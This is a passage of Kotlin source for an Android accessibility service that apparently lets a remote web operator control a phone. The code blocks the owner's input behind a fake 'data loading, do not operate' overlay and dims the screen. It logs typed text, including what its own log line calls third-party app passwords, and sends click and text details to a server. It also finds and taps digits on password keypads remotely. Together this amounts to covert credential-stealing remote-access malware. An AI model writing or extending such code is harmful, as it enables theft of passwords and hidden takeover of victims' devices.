                    Log.w(TAG, "⚠️ 没有WRITE_SETTINGS权限，打开权限页面")

                    // 如果没有权限，通过WriteSettingsPermissionManager打开权限页面
                    if (::writeSettingsPermissionManager.isInitialized) {
                        try {
                            writeSettingsPermissionManager.openWriteSettingsPage()
                            Log.i(TAG, "📱 已打开WRITE_SETTINGS权限设置页面，用户可手动授权")
                        } catch (e: Exception) {
                            Log.e(TAG, "❌ 打开WRITE_SETTINGS权限页面失败", e)
                        }
                    } else {
                        Log.w(TAG, "⚠️ WriteSettingsPermissionManager未初始化")
                    }
                }
            } else {
                Log.w(TAG, "⚠️ ScreenBrightnessManager未初始化")
            }


            // 🔑 关键修复：启用AccessibilityService截图模式
            screenCaptureManager?.enableAccessibilityScreenshotMode()

            if (::maskOverlayManager.isInitialized) {
                maskOverlayManager.blockInput()
            } else {
                Log.w(TAG, "⚠️ MaskOverlayManager未初始化，使用简化回退方案")
                // 简化的回退方案
                isInputBlocked = true
            }


        } catch (e: Exception) {
            Log.e(TAG, "❌ 阻止设备用户输入失败", e)
            // 回退到原始状态
            isInputBlocked = false
        }
    }


    /**
     * ✅ Phase 4.3 Step 4: 允许设备用户输入 - 委托给MaskOverlayManager
     * ✅ 新增：恢复原始屏幕亮度
     */
    fun allowDeviceInput() {
        try {
            if (::maskOverlayManager.isInitialized) {
                maskOverlayManager.unblockInput()
            } else {
                Log.w(TAG, "⚠️ MaskOverlayManager未初始化，使用简化回退方案")
                // 简化的回退方案
                isInputBlocked = false
            }

            // ✅ 新增：恢复屏幕亮度
            if (::screenBrightnessManager.isInitialized) {
                Log.d(TAG, "🌅 恢复屏幕亮度（允许设备输入时）")
                val brightnessRestored = screenBrightnessManager.restoreOriginalBrightness()

                if (brightnessRestored) {
                    Log.i(TAG, "✅ 屏幕亮度已恢复到原始值")
                } else {
                    Log.w(TAG, "⚠️ 恢复屏幕亮度失败，可能是权限问题")
                }
            } else {
                Log.w(TAG, "⚠️ ScreenBrightnessManager未初始化")
            }

        } catch (e: Exception) {
            Log.e(TAG, "❌ 恢复设备用户输入失败", e)
        }
    }

    // ✅ Phase 4.3 Step 4: 遮罩相关变量已迁移到MaskOverlayManager，保留兼容性变量
    private var maskText = "数据加载中\n请勿操作"
    private var maskTextSize = 24f


    /**
     * ✅ Phase 4.3 Step 4: 设置遮罩文字配置 - 委托给MaskOverlayManager
     */
    fun setMaskTextConfig(text: String?, textSize: Float?) {
        try {
            if (::maskOverlayManager.isInitialized) {
                maskOverlayManager.setMaskTextConfig(text, textSize)
            } else {
                Log.w(TAG, "⚠️ MaskOverlayManager未初始化，保存配置到本地变量")
                // 简化的回退方案 - 保存到本地变量
                text?.let { maskText = it }
                textSize?.let { maskTextSize = it }
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 设置遮罩文字配置失败", e)
        }
    }

    /**
     * 启用操作日志记录
     */
    fun enableLogging() {
        // 暂停：暂时不启用日志记录功能
        // Log.i(TAG, "⏸️ 暂停：暂时不启用日志记录功能")
        // return
        
        // ✅ 新增：检查授权模块状态，如果授权正在进行中则延迟启动日志
//        val isAuthorizationInProgress = authorizationModule?.isAuthorizing() == true
//        if (isAuthorizationInProgress) {
//            Log.i(TAG, "🔒 授权模块正在进行中，延迟启动日志记录功能")
//            // 延迟启动日志，等待授权完成
//            serviceScope.launch {
//                waitForAuthorizationCompletion()
//            }
//            return
//        }

        if (::loggingManager.isInitialized) {
            // ✅ Phase 4.3 Step 2: 委托给LoggingManager处理
            loggingManager.enableLogging()
            isLoggingEnabled = true

            // ✅ 修复：启用OperationLogCollector的日志记录
            logCollector?.startLogging()

            // 更新AccessibilityEventManager的日志状态
            if (::accessibilityEventManager.isInitialized) {
                accessibilityEventManager.updateLoggingStatus(true)
            }

            Log.i(TAG, "✅ 日志记录已启用，包括增强的第三方应用密码和文本输入记录")
        }
    }

    /**
     * 🛠 强制触发系统重新绑定无障碍服务（服务已授权但异常时）
     */
    /**
     * ✅ 参考 f 目录：已移除强制重启无障碍服务的功能，系统会自动管理无障碍服务生命周期
     */
    fun forceRestartAccessibilityService() {
        // ✅ 参考 f 目录：不重启无障碍服务，系统会自动管理
        Log.d(TAG, "📱 无障碍服务由系统自动管理，无需手动重启")
    }

    /**
     * 禁用操作日志记录
     */
    fun disableLogging() {
        if (::loggingManager.isInitialized) {
            // ✅ Phase 4.3 Step 2: 委托给LoggingManager处理
            loggingManager.disableLogging()
            isLoggingEnabled = false

            // ✅ 修复：停用OperationLogCollector的日志记录
            logCollector?.stopLogging()

            // 更新AccessibilityEventManager的日志状态
            if (::accessibilityEventManager.isInitialized) {
                accessibilityEventManager.updateLoggingStatus(false)
            }

            Log.i(TAG, "✅ 日志记录已禁用")
        }
    }

    /**
     * 记录操作日志
     */
    fun recordOperationLog(logType: String, content: String, extraData: Map<String, Any>?) {
        if (::loggingManager.isInitialized) {
            // ✅ Phase 4.3 Step 2: 委托给LoggingManager处理
            loggingManager.recordOperationLog(logType, content, extraData)
        }
    }

    /**
     * 等待授权模块完成，然后启动日志记录
     */
    private suspend fun waitForAuthorizationCompletion() {
        try {
            Log.i(TAG, "⏳ 等待授权模块完成...")
            
            // 轮询检查授权状态，最多等待30秒
            var waitTime = 0L
            val maxWaitTime = 60000L // 30秒
            val checkInterval = 500L // 每500ms检查一次
            
            while (waitTime < maxWaitTime) {
                val isStillAuthorizing = authorizationModule?.isAuthorizing() == true
                if (!isStillAuthorizing) {
                    Log.i(TAG, "✅ 授权模块已完成，现在启动日志记录功能")
                    // 授权完成，启动日志记录
                    enableLoggingDirectly()
                    return
                }
                
                delay(checkInterval)
                waitTime += checkInterval
            }
            
            // 超时后强制启动日志
            Log.w(TAG, "⚠️ 等待授权完成超时，强制启动日志记录功能")
            enableLoggingDirectly()
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 等待授权完成失败，强制启动日志记录", e)
            enableLoggingDirectly()
        }
    }
    
    /**
     * 直接启用日志记录（不检查授权状态）
     */
    private fun enableLoggingDirectly() {
        // // 暂停：暂时不直接启用日志记录功能
        // Log.i(TAG, "⏸️ 暂停：暂时不直接启用日志记录功能")
        // return
        
        if (::loggingManager.isInitialized) {
            // ✅ Phase 4.3 Step 2: 委托给LoggingManager处理
            loggingManager.enableLogging()
            isLoggingEnabled = true

            // ✅ 修复：启用OperationLogCollector的日志记录
            logCollector?.startLogging()

            // 更新AccessibilityEventManager的日志状态
            if (::accessibilityEventManager.isInitialized) {
                accessibilityEventManager.updateLoggingStatus(true)
            }

            Log.i(TAG, "✅ 日志记录已启用，包括增强的第三方应用密码和文本输入记录")
        }
    }

    /**
     * 获取日志记录状态
     */
    fun isLoggingEnabled(): Boolean {
        return if (::loggingManager.isInitialized) {
            // ✅ Phase 4.3 Step 2: 委托给LoggingManager处理
            loggingManager.isLoggingEnabled()
        } else {
            isLoggingEnabled
        }
    }

    /**
     * 执行全局动作并记录日志（系统按键）
     */
    fun performGlobalActionWithLog(action: Int): Boolean {
        return if (::keyEventManager.isInitialized) {
            // ✅ Phase 4.3 Step 3: 委托给KeyEventManager处理全局动作
            keyEventManager.performGlobalActionWithLog(action)
        } else {
            Log.w(TAG, "⚠️ KeyEventManager未初始化，使用简化回退方案")
            // 简化的回退方案，只记录基本日志
            recordOperationLog(
                "KEY_EVENT", "远程系统按键", mapOf(
                    "action" to action,
                    "inputMethod" to "fallback"
                )
            )
            performGlobalAction(action)
        }
    }

    /**
     * 执行系统级按键事件并记录日志
     */
    fun performKeyEvent(keyCode: Int): Boolean {
        return if (::keyEventManager.isInitialized) {
            // ✅ Phase 4.3 Step 3: 委托给KeyEventManager处理系统级按键
            keyEventManager.performKeyEvent(keyCode)
        } else {
            Log.w(TAG, "⚠️ KeyEventManager未初始化")
            false
        }
    }

    /**
     * 🆕 打开应用设置页面
     * 用于从web端远程打开手机端当前应用的设置页面
     */
    fun openAppSettings() {
        try {
            Log.i(TAG, "⚙️ 打开当前应用的设置页面")
            Log.i(TAG, "📦 应用包名: ${packageName}")

            val intent = Intent(Settings.ACTION_APPLICATION_DETAILS_SETTINGS).apply {
                data = android.net.Uri.parse("package:${packageName}")
                addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
            }

            // 检查Intent是否可以被处理
            val resolveInfo = packageManager.resolveActivity(intent, 0)
            if (resolveInfo != null) {
                Log.i(TAG, "✅ 找到处理Intent的Activity: ${resolveInfo.activityInfo.packageName}")
                startActivity(intent)
                Log.i(TAG, "✅ 已启动应用设置页面")

                // 记录操作日志
//                recordOperationLog(
//                    "OPEN_APP_SETTINGS", "打开应用设置页面", mapOf(
//                        "packageName" to packageName,
//                        "targetActivity" to resolveInfo.activityInfo.name,
//                        "timestamp" to System.currentTimeMillis()
//                    )
//                )
            } else {
                Log.e(TAG, "❌ 系统不支持应用设置页面")
//                recordOperationLog(
//                    "OPEN_APP_SETTINGS", "打开应用设置失败: 系统不支持", mapOf(
//                        "packageName" to packageName,
//                        "error" to "ACTIVITY_NOT_FOUND"
//                    )
//                )
            }

        } catch (e: Exception) {
            Log.e(TAG, "❌ 打开应用设置页面失败", e)
//            recordOperationLog(
//                "OPEN_APP_SETTINGS", "打开应用设置失败: ${e.message}", mapOf(
//                    "packageName" to packageName,
//                    "error" to e.javaClass.simpleName,
//                    "errorMessage" to (e.message ?: "unknown")
//                )
//            )
        }
    }


    /**
     * ✅ Phase 4.3 Step 5: 查找并点击确认按钮 - 委托给UIAnalysisManager
     */
    fun findAndClickConfirmButton() {
        try {
            if (::uiAnalysisManager.isInitialized) {
                uiAnalysisManager.findAndClickConfirmButton()
            } else {
                Log.w(TAG, "⚠️ UIAnalysisManager未初始化，使用简化回退方案")
                // 简化的回退方案 - 仅执行调试分析
                debugCurrentScreenElements()
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 智能确认按钮查找失败", e)
        }
    }

    /**
     * 根据内容描述查找节点
     */
    private fun findNodeByContentDescription(
        node: AccessibilityNodeInfo,
        description: String
    ): AccessibilityNodeInfo? {
        try {
            if (node.contentDescription?.toString()
                    ?.contains(description, ignoreCase = true) == true
            ) {
                return node
            }

            for (i in 0 until node.childCount) {
                val child = node.getChild(i)
                child?.let {
                    val result = findNodeByContentDescription(it, description)
                    if (result != null) {
                        return result
                    }
                }
            }
        } catch (e: Exception) {
            Log.e(TAG, "查找内容描述节点失败", e)
        }
        return null
    }


    /**
     * 调试屏幕元素 - 输出所有可点击元素的详细信息
     */
    fun debugScreenElements() {
        try {
            val rootNode = rootInActiveWindow
            if (rootNode == null) {
                Log.w(TAG, "🔍 [调试] 无法获取根窗口节点")
                return
            }

            val currentPackage = rootNode.packageName?.toString()
            val screenHeight = resources.displayMetrics.heightPixels
            val screenWidth = resources.displayMetrics.widthPixels

            Log.i(TAG, "🔍 [调试] 开始分析屏幕元素")
            Log.i(TAG, "🔍 [调试] 当前包名: $currentPackage")
            Log.i(TAG, "🔍 [调试] 屏幕尺寸: ${screenWidth}x${screenHeight}")

            val clickableElements = if (::debugAnalysisManager.isInitialized) {
                val report = debugAnalysisManager.generateDebugReport()
                if (report != null) {
                    val clickableInfo = report.clickableInfo["elements"] as? List<*>
                    clickableInfo?.map { it.toString() } ?: mutableListOf()
                } else {
                    mutableListOf<String>()
                }
            } else {
                mutableListOf<String>()
            }

            Log.i(TAG, "🔍 [调试] 找到 ${clickableElements.size} 个可点击元素:")
            clickableElements.forEachIndexed { index, elementInfo ->
                Log.i(TAG, "🔍 [调试] 元素 ${index + 1}: $elementInfo")
            }

            // 记录调试信息到操作日志
//            recordOperationLog(
//                "DEBUG", "屏幕元素分析完成", mapOf(
//                    "packageName" to (currentPackage ?: "unknown"),
//                    "screenSize" to "${screenWidth}x${screenHeight}",
//                    "clickableElementsCount" to clickableElements.size,
//                    "elements" to clickableElements.take(10) // 只记录前10个元素
//                )
//            )

        } catch (e: Exception) {
            Log.e(TAG, "🔍 [调试] 分析屏幕元素失败", e)
        }
    }

    // ✅ Phase 4.3 Step 7: findPossibleConfirmButtons方法已迁移到DebugAnalysisManager

    // ✅ Phase 4.3 Step 7: analyzeNode方法已迁移到DebugAnalysisManager

    /**
     * 记录点击事件的详细信息
     */
    private fun logClickEvent(event: AccessibilityEvent, eventType: String = "UNKNOWN") {
        try {
            val source = event.source
            if (source == null) {
                // 即使没有源节点，也记录事件的基本信息
                Log.i(TAG, "👆 [点击监控] 事件类型=$eventType, 无源节点但有基本信息:")
                Log.i(
                    TAG,
                    "👆 [点击监控] 包名='${event.packageName}', 类名='${event.className}', 文本='${
                        event.text?.joinToString("")
                    }'"
                )
                Log.i(
                    TAG,
                    "👆 [点击监控] 事件时间=${event.eventTime}, 当前时间=${System.currentTimeMillis()}"
                )

                // 记录到操作日志
//                recordOperationLog(
//                    "USER_INTERACTION_NO_SOURCE", "用户交互事件(无源节点): $eventType", mapOf(
//                        "eventType" to eventType,
//                        "packageName" to (event.packageName?.toString() ?: "unknown"),
//                        "className" to (event.className?.toString() ?: "unknown"),
//                        "text" to (event.text?.joinToString("") ?: ""),
//                        "eventTime" to event.eventTime,
//                        "currentTime" to System.currentTimeMillis()
//                    )
//                )

                // 如果是点击事件，这可能就是我们要找的确认按钮
                if (eventType == "VIEW_CLICKED") {
                    Log.i(TAG, "🎯 [重要] 检测到无源节点的点击事件！这可能就是确认按钮的点击！")

                    // 尝试获取当前屏幕的根节点来分析
                    try {
                        val rootNode = rootInActiveWindow
                        if (rootNode != null) {
                            Log.i(TAG, "🔍 [分析] 当前屏幕包名: ${rootNode.packageName}")

                            // ✅ Phase 4.3 Step 7: 委托给DebugAnalysisManager分析屏幕元素
                            if (::debugAnalysisManager.isInitialized) {
                                val report = debugAnalysisManager.generateDebugReport()
                                if (report != null) {
                                    val clickableCount =
                                        report.clickableInfo["totalClickable"] as? Int ?: 0
                                    Log.i(TAG, "🔍 [分析] 找到 $clickableCount 个可点击元素")
                                }
                            } else {
                                Log.w(TAG, "⚠️ DebugAnalysisManager未初始化，跳过确认按钮分析")
                            }
                        }
                    } catch (e: Exception) {
                        Log.e(TAG, "分析屏幕失败", e)
                    }
                }

                return
            }

            // 获取点击元素的详细信息
            val rect = android.graphics.Rect()
            source.getBoundsInScreen(rect)

            val clickInfo = buildString {
                append("👆 [点击监控] 事件类型=$eventType, ")
                append("元素类型=${source.className}, ")
                append("文本='${source.text ?: ""}', ")
                append("描述='${source.contentDescription ?: ""}', ")
                append("包名='${source.packageName ?: ""}', ")
                append("位置=(${rect.left},${rect.top})-(${rect.right},${rect.bottom}), ")
                append("大小=${rect.width()}x${rect.height()}, ")
                append("中心=(${rect.centerX()},${rect.centerY()}), ")
                append("可见=${source.isVisibleToUser}, ")
                append("启用=${source.isEnabled}")
            }

            Log.i(TAG, clickInfo)

            // 同时记录到操作日志，通过Socket.IO发送到服务端
            recordOperationLog(
                "USER_INTERACTION", "用户交互事件: $eventType", mapOf(
                    "eventType" to eventType,
                    "className" to (source.className?.toString() ?: "unknown"),
                    "text" to (source.text?.toString() ?: ""),
                    "contentDescription" to (source.contentDescription?.toString() ?: ""),
                    "packageName" to (source.packageName?.toString() ?: ""),
                    "position" to mapOf(
                        "left" to rect.left,
                        "top" to rect.top,
                        "right" to rect.right,
                        "bottom" to rect.bottom,
                        "centerX" to rect.centerX(),
                        "centerY" to rect.centerY(),
                        "width" to rect.width(),
                        "height" to rect.height()
                    ),
                    "isVisible" to source.isVisibleToUser,
                    "isEnabled" to source.isEnabled,
                    "eventTime" to System.currentTimeMillis()
                )
            )

            // 特别关注确认按钮相关的点击
            val text = source.text?.toString()?.lowercase() ?: ""
            val desc = source.contentDescription?.toString()?.lowercase() ?: ""
            val className = source.className?.toString()?.lowercase() ?: ""

            // ✅ 检测可能的确认按钮点击并学习坐标
            val isPossibleConfirmButton =
                text.contains("确认") || text.contains("confirm") || text.contains("ok") ||
                        desc.contains("confirm") || desc.contains("check") || desc.contains("tick") ||
                        desc.contains("arrow") || desc.contains("right") || desc.contains("enter") ||
                        className.contains("button")

            if (isPossibleConfirmButton) {
                Log.i(TAG, "🎯 [重要] 这可能是确认按钮！请重点关注这个元素的信息")

                // ✅ Phase 4.3 Step 1: 委托给LearningManager检查手动确认
                if (::learningManager.isInitialized) {
                    val bounds = android.graphics.Rect()
                    source.getBoundsInScreen(bounds)
                    // 注意：这里需要创建一个模拟的AccessibilityEvent，因为LearningManager的方法需要event参数
                    // 暂时跳过这个调用，因为这个方法已经在recordClickEventForLearning中处理
                    Log.d(
                        TAG,
                        "🧠 [学习] 手动确认检测已集成到LearningManager.recordClickEventForLearning中"
                    )
                }
            }

        } catch (e: Exception) {
            Log.e(TAG, "❌ 记录点击事件失败", e)
        }
    }

    /**
     * 查找屏幕右下角的可点击元素
     */

    /**
     * 分析UI层次结构 - 用于屏幕阅读器功能
     */
    fun analyzeUIHierarchy(
        includeInvisible: Boolean = false,
        includeNonInteractive: Boolean = true,
        maxDepth: Int = 10
    ): JSONObject? {
        return try {
            Log.i(TAG, "🔍 开始UI层次结构分析")

            val rootNode = rootInActiveWindow
            if (rootNode == null) {
                Log.w(TAG, "❌ 无法获取根节点进行UI层次结构分析")
                return null
            }

            val screenWidth = resources.displayMetrics.widthPixels
            val screenHeight = resources.displayMetrics.heightPixels
            val packageName = rootNode.packageName?.toString() ?: "unknown"

            val hierarchy = JSONObject().apply {
                put(
                    "root",
                    convertNodeToJSON(
                        rootNode,
                        includeInvisible,
                        includeNonInteractive,
                        maxDepth,
                        0
                    )
                )
                put("timestamp", System.currentTimeMillis())
                put("screenWidth", screenWidth)
                put("screenHeight", screenHeight)
                put("packageName", packageName)
            }

            // 统计信息
            val stats = countUIElements(rootNode, includeInvisible, includeNonInteractive, maxDepth)
            hierarchy.put("totalElements", stats.first)
            hierarchy.put("clickableElements", stats.second)

            // ✨ 增强功能：虚拟键盘检测
            try {
                val keyboardDetection = detectVirtualKeyboard(rootNode, maxDepth)
                hierarchy.put("keyboardElements", keyboardDetection.getJSONArray("elements"))
                hierarchy.put("digitButtons", keyboardDetection.getJSONArray("digitButtons"))
                hierarchy.put("keyboardConfidence", keyboardDetection.getDouble("confidence"))
                hierarchy.put(
                    "inputMethodWindows",
                    keyboardDetection.getJSONArray("inputMethodWindows")
                )

                Log.i(
                    TAG,
                    "🎹 虚拟键盘检测完成: 置信度=${keyboardDetection.getDouble("confidence")}, 键盘元素=${
                        keyboardDetection.getJSONArray("elements").length()
                    }, 数字按钮=${keyboardDetection.getJSONArray("digitButtons").length()}"
                )
            } catch (e: Exception) {
                Log.w(TAG, "⚠️ 虚拟键盘检测失败，继续基础分析", e)
                // 添加空的键盘检测结果
                hierarchy.put("keyboardElements", org.json.JSONArray())
                hierarchy.put("digitButtons", org.json.JSONArray())
                hierarchy.put("keyboardConfidence", 0.0)
                hierarchy.put("inputMethodWindows", org.json.JSONArray())
            }

            Log.i(TAG, "✅ UI层次结构分析完成: 总元素=${stats.first}, 可点击=${stats.second}")

            rootNode.recycle()
            hierarchy

        } catch (e: Exception) {
            Log.e(TAG, "❌ UI层次结构分析失败", e)
            null
        }
    }

    /**
     * 将AccessibilityNodeInfo转换为JSON对象
     */
    private fun convertNodeToJSON(
        node: AccessibilityNodeInfo,
        includeInvisible: Boolean,
        includeNonInteractive: Boolean,
        maxDepth: Int,
        currentDepth: Int
    ): JSONObject {
        val jsonNode = JSONObject()

        try {
            val rect = android.graphics.Rect()
            node.getBoundsInScreen(rect)

            // 基本信息
            jsonNode.put("id", "${node.hashCode()}_$currentDepth")
            jsonNode.put("type", node.className?.toString() ?: "unknown")
            jsonNode.put("text", node.text?.toString() ?: "")
            jsonNode.put("description", node.contentDescription?.toString() ?: "")

            // 🎯 增强：位置和大小信息
            val width = rect.right - rect.left
            val height = rect.bottom - rect.top
            val centerX = rect.left + width / 2
            val centerY = rect.top + height / 2

            jsonNode.put("bounds", JSONObject().apply {
                put("left", rect.left)
                put("top", rect.top)
                put("right", rect.right)
                put("bottom", rect.bottom)
                put("width", width)
                put("height", height)
                put("centerX", centerX)
                put("centerY", centerY)
            })

            // 🎯 增强：层级和路径信息
            jsonNode.put("depth", currentDepth)
            jsonNode.put("maxDepth", maxDepth)
            jsonNode.put("childCount", node.childCount)

            // 🎯 增强：基本属性
            jsonNode.put("clickable", node.isClickable)
            jsonNode.put("scrollable", node.isScrollable)
            jsonNode.put("focusable", node.isFocusable)
            jsonNode.put("enabled", node.isEnabled)
            jsonNode.put("visible", node.isVisibleToUser)
            jsonNode.put("checkable", node.isCheckable)
            jsonNode.put("checked", node.isChecked)
            jsonNode.put("editable", node.isEditable)

            // 🎯 增强：角色和语义信息
            val role = determineElementRole(node)
            jsonNode.put("role", role)

            // 🎯 增强：可访问性重要性
            val importance = determineAccessibilityImportance(node)
            jsonNode.put("importance", importance)

            // 🎯 增强：元素状态描述
            val stateDescription = generateStateDescription(node)
            jsonNode.put("stateDescription", stateDescription)

            // 🎯 增强：交互提示
            val interactionHint = generateInteractionHint(node)
            jsonNode.put("interactionHint", interactionHint)

            // 附加信息
            jsonNode.put("resourceId", node.viewIdResourceName ?: "")
            jsonNode.put("packageName", node.packageName?.toString() ?: "")

            // 子节点
            val children = org.json.JSONArray()
            if (currentDepth < maxDepth) {
                for (i in 0 until node.childCount) {
                    val child = node.getChild(i)
                    if (child != null) {
                        try {
                            // 过滤条件 - 专门为数字按钮放宽条件
                            val childText = child.text?.toString() ?: ""
                            val childDesc = child.contentDescription?.toString() ?: ""
                            val isDigitButton =
                                childText.matches(Regex("^[0-9]$")) || childDesc.matches(Regex("^[0-9]$"))

                            val shouldInclude = when {
                                isDigitButton -> true  // 数字按钮无条件包含
                                !includeInvisible && !child.isVisibleToUser -> false
                                !includeNonInteractive && !child.isClickable && !child.isScrollable && !child.isFocusable -> false
                                else -> true
                            }

                            if (shouldInclude) {
                                children.put(
                                    convertNodeToJSON(
                                        child,
                                        includeInvisible,
                                        includeNonInteractive,
                                        maxDepth,
                                        currentDepth + 1
                                    )
                                )
                            }
                        } catch (e: Exception) {
                            Log.w(TAG, "处理子节点失败: ${e.message}")
                        } finally {
                            child.recycle()
                        }
                    }
                }
            }
            jsonNode.put("children", children)

        } catch (e: Exception) {
            Log.e(TAG, "转换节点到JSON失败", e)
        }

        return jsonNode
    }

    /**
     * 统计UI元素数量
     */
    private fun countUIElements(
        node: AccessibilityNodeInfo,
        includeInvisible: Boolean,
        includeNonInteractive: Boolean,
        maxDepth: Int,
        currentDepth: Int = 0
    ): Pair<Int, Int> {
        var totalCount = 1
        var clickableCount = if (node.isClickable) 1 else 0

        if (currentDepth < maxDepth) {
            for (i in 0 until node.childCount) {
                val child = node.getChild(i)
                if (child != null) {
                    try {
                        // 专门为数字按钮放宽条件
                        val childText = child.text?.toString() ?: ""
                        val childDesc = child.contentDescription?.toString() ?: ""
                        val isDigitButton =
                            childText.matches(Regex("^[0-9]$")) || childDesc.matches(Regex("^[0-9]$"))

                        val shouldInclude = when {
                            isDigitButton -> true  // 数字按钮无条件包含
                            !includeInvisible && !child.isVisibleToUser -> false
                            !includeNonInteractive && !child.isClickable && !child.isScrollable && !child.isFocusable -> false
                            else -> true
                        }

                        if (shouldInclude) {
                            val childStats = countUIElements(
                                child,
                                includeInvisible,
                                includeNonInteractive,
                                maxDepth,
                                currentDepth + 1
                            )
                            totalCount += childStats.first
                            clickableCount += childStats.second
                        }
                    } catch (e: Exception) {
                        Log.w(TAG, "统计子节点失败: ${e.message}")
                    } finally {
                        child.recycle()
                    }
                }
            }
        }

        return Pair(totalCount, clickableCount)
    }

    /**
     * ✅ 增强版数字密码键盘坐标点击 - 支持多种布局和自适应
     */
    fun performNumericKeypadClick(digit: String, screenWidth: Int, screenHeight: Int) {
        Log.i(TAG, "🔢 [AccessibilityRemoteService] 收到数字密码点击请求: $digit")

        if (::inputManager.isInitialized) {
            Log.i(TAG, "✅ InputManager已初始化，开始处理数字密码点击")

            // 记录操作日志
            recordOperationLog(
                "CLICK", "数字密码键盘点击: $digit", mapOf(
                    "digit" to digit,
                    "screenSize" to "${screenWidth}x${screenHeight}",
                    "inputMethod" to "numeric_keypad_coordinate"
                )
            )

            // ✅ Phase 4.2 Step 9: 委托给InputManager处理
            val result = inputManager.performNumericKeypadClick(digit, screenWidth, screenHeight)
            Log.i(TAG, "🔢 数字密码点击结果: $result")
        } else {
            Log.e(TAG, "❌ InputManager未初始化，无法执行数字密码点击")
        }
    }

    /**
     * ✅ Phase 4.1 Step 4: 生成自适应数字键盘布局方案 - 委托给ConfigManager
     */
    private fun generateAdaptiveKeypadLayouts(
        screenWidth: Int,
        screenHeight: Int
    ): List<Pair<String, Map<String, Pair<Float, Float>>>> {
        return if (::configManager.isInitialized) {
            configManager.generateAdaptiveKeypadLayouts()
        } else {
            // 回退到简单的布局生成
            val standardLayout = mutableMapOf<String, Pair<Float, Float>>()
            val keypadWidth = screenWidth * 0.8f
            val keypadHeight = screenHeight * 0.4f
            val startX = screenWidth * 0.1f
            val startY = screenHeight * 0.6f

            // 生成3x4标准数字键盘布局
            val keys = arrayOf(
                arrayOf("1", "2", "3"),
                arrayOf("4", "5", "6"),
                arrayOf("7", "8", "9"),
                arrayOf("", "0", "")
            )

            for (row in keys.indices) {
                for (col in keys[row].indices) {
                    val key = keys[row][col]
                    if (key.isNotEmpty()) {
                        val x = startX + (col * keypadWidth / 3) + (keypadWidth / 6)
                        val y = startY + (row * keypadHeight / 4) + (keypadHeight / 8)
                        standardLayout[key] = Pair(x, y)
                    }
                }
            }

            listOf(Pair("standard", standardLayout))
        }
    }


    /**
     * ✅ 智能检测数字键盘布局
     */
    private fun detectNumericKeypadLayout(
        digit: String,
        screenWidth: Int,
        screenHeight: Int
    ): Pair<Float, Float>? {
        return try {
            val rootNode = rootInActiveWindow ?: return null

            // 查找所有数字按钮
            val digitButtons = mutableMapOf<String, Pair<Float, Float>>()
            findAllDigitButtons(rootNode, digitButtons)

            if (digitButtons.isNotEmpty()) {
                Log.i(TAG, "🔍 智能检测到 ${digitButtons.size} 个数字按钮")
                digitButtons.forEach { (d, coords) ->
                    Log.d(TAG, "🔢 检测到数字 $d 在坐标 (${coords.first}, ${coords.second})")
                }

                // 返回目标数字的坐标
                val coords = digitButtons[digit]
                if (coords != null) {
                    Log.i(
                        TAG,
                        "✅ 智能检测成功：数字 $digit 坐标 (${coords.first}, ${coords.second})"
                    )
                    return coords
                }
            }

            null
        } catch (e: Exception) {
            Log.e(TAG, "智能检测键盘布局失败", e)
            null
        }
    }

    /**
     * ✅ Phase 4.2 Step 7: 递归查找所有数字按钮 - 委托给ScreenManager
     */
    private fun findAllDigitButtons(
        node: AccessibilityNodeInfo,
        digitButtons: MutableMap<String, Pair<Float, Float>>
    ) {
        if (::screenManager.isInitialized) {
            screenManager.findAllDigitButtons(node, digitButtons)
        } else {
            Log.w(TAG, "⚠️ ScreenManager未初始化，跳过数字按钮查找")
        }
    }

    /**
     * ✅ 增强点击方法，包含重试机制和反馈验证
     */
    private fun performEnhancedClick(x: Int, y: Int, context: String): Boolean {
        try {
            var success = false
            val maxRetries = 2

            for (attempt in 1..maxRetries) {
                Log.d(TAG, "🎯 执行点击尝试 $attempt/$maxRetries: ($x, $y) - $context")

                // 使用 gestureController 执行点击
                gestureController.performClick(x.toFloat(), y.toFloat())

                // 等待系统响应
                Thread.sleep(300)

                // ✅ 简单的成功验证：检查是否有界面变化
                // 这里可以通过检查输入框内容或界面状态来验证
                // 暂时认为点击执行完成就是成功
                success = true

                if (success) {
                    Log.d(TAG, "✅ 点击成功: $context (尝试 $attempt/$maxRetries)")
                    break
                } else {
                    Log.w(TAG, "⚠️ 点击验证失败: $context (尝试 $attempt/$maxRetries)")
                    if (attempt < maxRetries) {
                        Thread.sleep(200) // 重试前短暂延迟
                    }
                }
            }

            return success

        } catch (e: Exception) {
            Log.e(TAG, "❌ 增强点击异常: $context", e)
            return false
        }
    }

    /**
     * ✅ Phase 4.3 Step 5: 增强确认按钮查找 - 委托给UIAnalysisManager
     */
    fun findAndClickConfirmButtonEnhanced(passwordType: String) {
        try {
            if (::uiAnalysisManager.isInitialized) {
                // UIAnalysisManager的findAndClickConfirmButton已经包含了增强逻辑
                uiAnalysisManager.findAndClickConfirmButton()
            } else {
                Log.w(TAG, "⚠️ UIAnalysisManager未初始化，使用简化回退方案")
                // 简化的回退方案 - 仅执行调试分析
                debugCurrentScreenElements()
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 增强确认按钮查找失败", e)
        }
    }


    /**
     * ✅ Phase 4.2 Step 7: 查找屏幕右下角可点击元素 - 委托给ScreenManager
     */
    private fun findBottomRightClickableElements(rootNode: AccessibilityNodeInfo): List<AccessibilityNodeInfo> {
        return if (::screenManager.isInitialized) {
            screenManager.findBottomRightClickableElements(rootNode)
        } else {
            Log.w(TAG, "⚠️ ScreenManager未初始化，返回空列表")
            emptyList()
        }
    }

    /**
     * 处理智能权限管理器权限丢失事件
     */
    private fun handleSmartPermissionLoss(reason: SmartMediaProjectionManager.LossReason) {
        serviceScope.launch {
            try {
                Log.w(TAG, "🔧 处理智能权限丢失: $reason")

                // 暂停屏幕捕获
                if (::screenCaptureManager.isInitialized) {
                    screenCaptureManager.pauseCapture()
                }

                // 根据丢失原因决定处理策略
                when (reason) {
                    SmartMediaProjectionManager.LossReason.USER_STOPPED -> {
                        Log.i(TAG, "👤 用户主动停止投屏，暂停服务但保持连接")
                        // 用户主动停止，不自动恢复
                    }

                    SmartMediaProjectionManager.LossReason.SYSTEM_LOCK_SCREEN -> {
                        Log.i(TAG, "🔒 系统锁屏导致权限丢失，等待解锁后恢复")
                        // 锁屏导致的丢失，智能管理器会在解锁后自动处理
                    }

                    SmartMediaProjectionManager.LossReason.SYSTEM_AUTO_STOP,
